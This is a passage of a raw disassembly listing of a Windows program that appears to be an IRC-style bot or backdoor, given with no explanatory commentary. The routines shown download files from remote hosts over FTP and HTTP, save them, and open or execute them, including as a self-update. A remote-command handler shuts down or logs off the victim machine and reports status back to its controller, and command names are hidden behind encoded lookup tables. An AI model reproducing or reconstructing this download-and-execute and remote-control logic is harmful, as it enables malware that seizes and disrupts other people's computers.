		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C710	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_401B4Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D640	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D6D0	proc near		; CODE XREF: sub_4014BAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D6D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D770	proc near		; CODE XREF: sub_4021E9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D830:				; CODE XREF: ___:00401168j
					; ___:loc_4019F6j
		push	esi
		mov	esi, ecx
		call	sub_4015CD
		test	byte ptr [esp+8], 1
		jz	short loc_41D848
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D848:				; CODE XREF: ___:0041D83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D860	proc near		; CODE XREF: sub_4015CDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D860	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D930	proc near		; CODE XREF: sub_401C94j

var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_10C		= byte ptr  110h
arg_11C		= byte ptr  120h
arg_12C		= byte ptr  130h
arg_110C	= dword	ptr  1110h
arg_1110	= byte ptr  1114h
arg_112C	= dword	ptr  1130h
arg_1134	= dword	ptr  1138h
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43C3F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_448F30
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ebx, [esi+65h]
		push	offset byte_448F30
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ecx, [esi+26h]
		push	offset byte_448F30
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D9D1
		push	offset byte_448F30
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D9C4
		push	offset byte_448F30
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D9D1


loc_41D9C4:				; CODE XREF: sub_41D930+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41E03D
; ---------------------------------------------------------------------------


loc_41D9D1:				; CODE XREF: sub_41D930+70j
					; sub_41D930+92j
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41DA5E
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41DA6F


loc_41DA5E:				; CODE XREF: sub_41D930+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41DA6F:				; CODE XREF: sub_41D930+12Cj
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FDC
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015E1
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DC04
		call	sub_401E1F
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		call	sub_401A7D
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DB1C
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41E014
; ---------------------------------------------------------------------------


loc_41DB1C:				; CODE XREF: sub_41D930+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017EE
		push	eax
		call	sub_402266
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DB73
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DB73:				; CODE XREF: sub_41D930+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_4016B3
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DBF2
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DBF2:				; CODE XREF: sub_41D930+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D66
		add	esp, 4
		jmp	loc_41DE7B
; ---------------------------------------------------------------------------


loc_41DC04:				; CODE XREF: sub_41D930+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_40142E
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_40142E
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017EE
		push	eax
		call	sub_401AA0
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DC87
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 0E8h, 0B7h, 0B9h
; ---------------------------------------------------------------------------
		imul	esi, [ecx-17h],	0BEh


loc_41DC87:				; CODE XREF: sub_41D930+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+34h+arg_20]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+28h+arg_20]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+30h+arg_20]
		call	sub_4017EE
		push	eax
		push	ebx
		nop
		call	near ptr 71AB428Ah
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DD80
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+38h+var_28]
		mov	[esp+38h+var_28], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+38h+var_1C]
		mov	byte ptr [esp+38h+arg_1134], 3
		call	sub_401226
		lea	ecx, [esp+38h+arg_10]
		mov	byte ptr [esp+38h+arg_1134], 2
		call	sub_401226
		lea	ecx, [esp+38h+var_4]
		mov	[esp+38h+arg_1134], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41E048
; ---------------------------------------------------------------------------


loc_41DD80:				; CODE XREF: sub_41D930+3DBj
					; sub_41D930+484j ...
		mov	eax, [esp+38h+var_24]
		push	0
		lea	edx, [esp+3Ch+arg_12C]
		push	1000h
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DDF8
		cmp	ebp, 1000h
		jge	short loc_41DDB0
		mov	[esp+ebp+48h+arg_11C], 0


loc_41DDB0:				; CODE XREF: sub_41D930+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DD80


loc_41DDB6:				; CODE XREF: sub_41D930+4A5j
		push	4
		lea	ecx, [esp+edi+4Ch+arg_11C]
		push	offset asc_444ED0 ; "\r\n\r\n"
		push	ecx
		call	near ptr 77C47A50h
		nop
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DDD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDB6
		jmp	short loc_41DD80
; ---------------------------------------------------------------------------


loc_41DDD9:				; CODE XREF: sub_41D930+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DDF8


loc_41DDE0:				; CODE XREF: sub_41D930+4C6j
		movsx	edx, [esp+edi+48h+arg_11C]
		push	ebx
		push	edx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDE0


loc_41DDF8:				; CODE XREF: sub_41D930+46Ej
					; sub_41D930+4AEj ...
		mov	edi, [esp+48h+var_34]
		push	0
		lea	eax, [esp+4Ch+arg_11C]
		push	1000h
		push	eax
		push	edi
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DE48
		cmp	ebp, 1000h
		jge	short loc_41DE28
		mov	[esp+ebp+58h+arg_10C], 0


loc_41DE28:				; CODE XREF: sub_41D930+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DDF8


loc_41DE2E:				; CODE XREF: sub_41D930+514j
		movsx	ecx, [esp+edi+58h+arg_10C]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DE2E
		jmp	short loc_41DDF8
; ---------------------------------------------------------------------------


loc_41DE48:				; CODE XREF: sub_41D930+4E6j
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		push	edi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+5Ch+var_40]
		mov	[esp+5Ch+arg_1110], 3
		call	sub_401226
		lea	ecx, [esp+5Ch+var_10]
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226


loc_41DE7B:				; CODE XREF: sub_41D930+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DF17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41E00C
		push	offset byte_448F30
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_41E00C
; ---------------------------------------------------------------------------


loc_41DF17:				; CODE XREF: sub_41D930+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		lea	edx, [esp+90h+var_40]
		push	51h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		mov	ecx, eax
		mov	[esp+5Ch+arg_1110], 5
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		call	sub_402167
		add	esp, 8
		lea	ecx, [esp+5Ch+var_40]
		mov	bl, al
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DFE7
		mov	al, byte_449896
		test	al, al
		jz	short loc_41DFB6
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_41DFB6:				; CODE XREF: sub_41D930+675j
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_41DFCE
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_41DFCE:				; CODE XREF: sub_41D930+68Dj
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		push	1
		mov	byte_4E8E44, 0
		nop
		call	near ptr 77C39E7Eh


loc_41DFE7:				; CODE XREF: sub_41D930+66Cj
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_41E00C:				; CODE XREF: sub_41D930+597j
					; sub_41D930+5E2j
		mov	[esp+60h+var_48], esi
		lea	edx, [esp+60h+var_48]


loc_41E014:				; CODE XREF: sub_41D930+1E7j
		push	edx


loc_41E015:				; CODE XREF: sub_41D930+23Ej
					; sub_41D930+2BDj
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_2C]
		mov	[esp+60h+arg_110C], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41E048
; ---------------------------------------------------------------------------


loc_41E035:				; CODE XREF: sub_41D930+36j
					; sub_41D930+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41E03D:				; CODE XREF: sub_41D930+9Cj
		push	eax
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_41D930	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D930


loc_41E048:				; CODE XREF: sub_41D930+44Bj
					; sub_41D930+703j
		mov	ecx, [esp+38h+arg_112C]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D930
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E240	proc near		; CODE XREF: sub_401BA4j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E240	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E3C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E41B
		push	offset dword_444FD4
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	6
		call	near ptr 2890BC4h
		nop
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E41B:				; CODE XREF: ___:0041E3DEj
		lea	ecx, [esi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E46A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	5
		call	near ptr 2890BC4h
		nop
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E46A:				; CODE XREF: ___:0041E42Dj
		lea	ecx, [esi+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E4B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 2890BC4h


loc_41E4B1:				; CODE XREF: ___:0041E47Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E500	proc near		; CODE XREF: sub_401F7Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E500	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017EE
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E760	proc near		; CODE XREF: sub_40161Dj

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
